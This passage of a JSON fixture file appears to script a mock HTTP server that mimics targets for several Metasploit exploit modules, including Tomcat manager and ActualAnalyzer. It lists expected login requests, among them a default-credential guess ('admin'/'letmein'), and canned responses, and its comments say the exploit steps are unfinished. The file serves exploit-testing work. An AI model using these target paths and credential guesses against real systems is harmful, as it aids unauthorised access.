"defaultPort": [8080], 979 | "comment": "TBD: just got login part done.", 980 | "seq": [ 981 | ["starts", "GET /secure/Dashboard.jspa"], 982 | ["HTTP/1.1 200 OK\r\nContent-Length: $\r\n\r\n"], 983 | ["starts", "POST /rest/gadget/1.0/login"], 984 | ["HTTP/1.1 200 OK\r\nSet-Cookie: JSESSIONID=1234;\r\nContent-Length: $\r\n\r\n{\"loginSucceeded\": true}"] 985 | ] 986 | }, 987 | "exploit/multi/http/sonicwall_scrutinizer_methoddetail_sqli": { 988 | "defaultPort": [80], 989 | "comment": "TBD: just got login part done.", 990 | "seq": [ 991 | ["starts", "GET /cgi-bin/login.cgi?name=admin&pwd=letmein"], 992 | ["HTTP/1.1 200 OK\r\nContent-Length: $\r\n\r\n{\"sessionid\": \"12345678\"}"], 993 | ["starts", "POST /rest/gadget/1.0/login"], 994 | ["HTTP/1.1 200 OK\r\nSet-Cookie: JSESSIONID=1234;\r\nContent-Length: $\r\n\r\n{\"loginSucceeded\": true}"] 995 | ] 996 | }, 997 | "exploit/multi/http/tomcat_mgr_deploy": { 998 | "defaultPort": [80], 999 | "comment": "got cred part done, but not the exploit part", 1000 | "seq": [ 1001 | ["any"], 1002 | ["HTTP/1.1 200 OK\r\nServer: Apache Coyote\r\nContent-Length: $\r\n\r\nOS Name: Linux\nOS Architecture: x86"], 1003 | ["starts", "POST /rest/gadget/1.0/login"], 1004 | ["HTTP/1.1 200 OK\r\nSet-Cookie: JSESSIONID=1234;\r\nContent-Length: $\r\n\r\n{\"loginSucceeded\": true}"] 1005 | ] 1006 | }, 1007 | "exploit/multi/http/tomcat_mgr_upload": { 1008 | "defaultPort": [80], 1009 | "comment": "got cred part done, but not the exploit part", 1010 | "seq": [ 1011 | ["any"], 1012 | ["HTTP/1.1 200 OK\r\nServer: Apache Coyote\r\nContent-Length: $\r\n\r\nOS Name: Linux"], 1013 | ["starts", "POST /rest/gadget/1.0/login"], 1014 | ["HTTP/1.1 200 OK\r\nSet-Cookie: JSESSIONID=1234;\r\nContent-Length: $\r\n\r\n{\"loginSucceeded\": true}"] 1015 | ] 1016 | }, 1017 | "exploit/unix/webapp/actualanalyzer_ant_cookie_exec": { 1018 | "defaultPort": [80], 1019 | "comment": "got cred part done, but not the exploit part", 1020 | "seq": [ 1021 | ["starts", "GET /lite/aa.php"], 1022 | ["HTTP/1.1 200 OK\r\nServer: Apache Coyote\r\nContent-Length: 0\r\n\r\n"], 1023 | ["starts", "GET /lite/view.php"], 1024 | ["HTTP/1.1 200 OK\r\nServer: Apache Coyote\r\nContent-Length: $\r\n\r\ntitle=\"ActualAnalyzer Lite (free) 2.81\""], 1025 | ["starts", "GET /lite/code.php"], 1026 | ["HTTP/1.1 200 OK\r\nServer: Apache Coyote\r\nContent-Length: $\r\n\r\nalt='ActualAnalyzer' src='http://www.abc.com/'"], 1027 | ["starts", "POST /lite/view.php"], 1028 | ["HTTP/1.1 200 OK\r\nServer: Apache Coyote\r\nContent-Length: $\r\n\r\n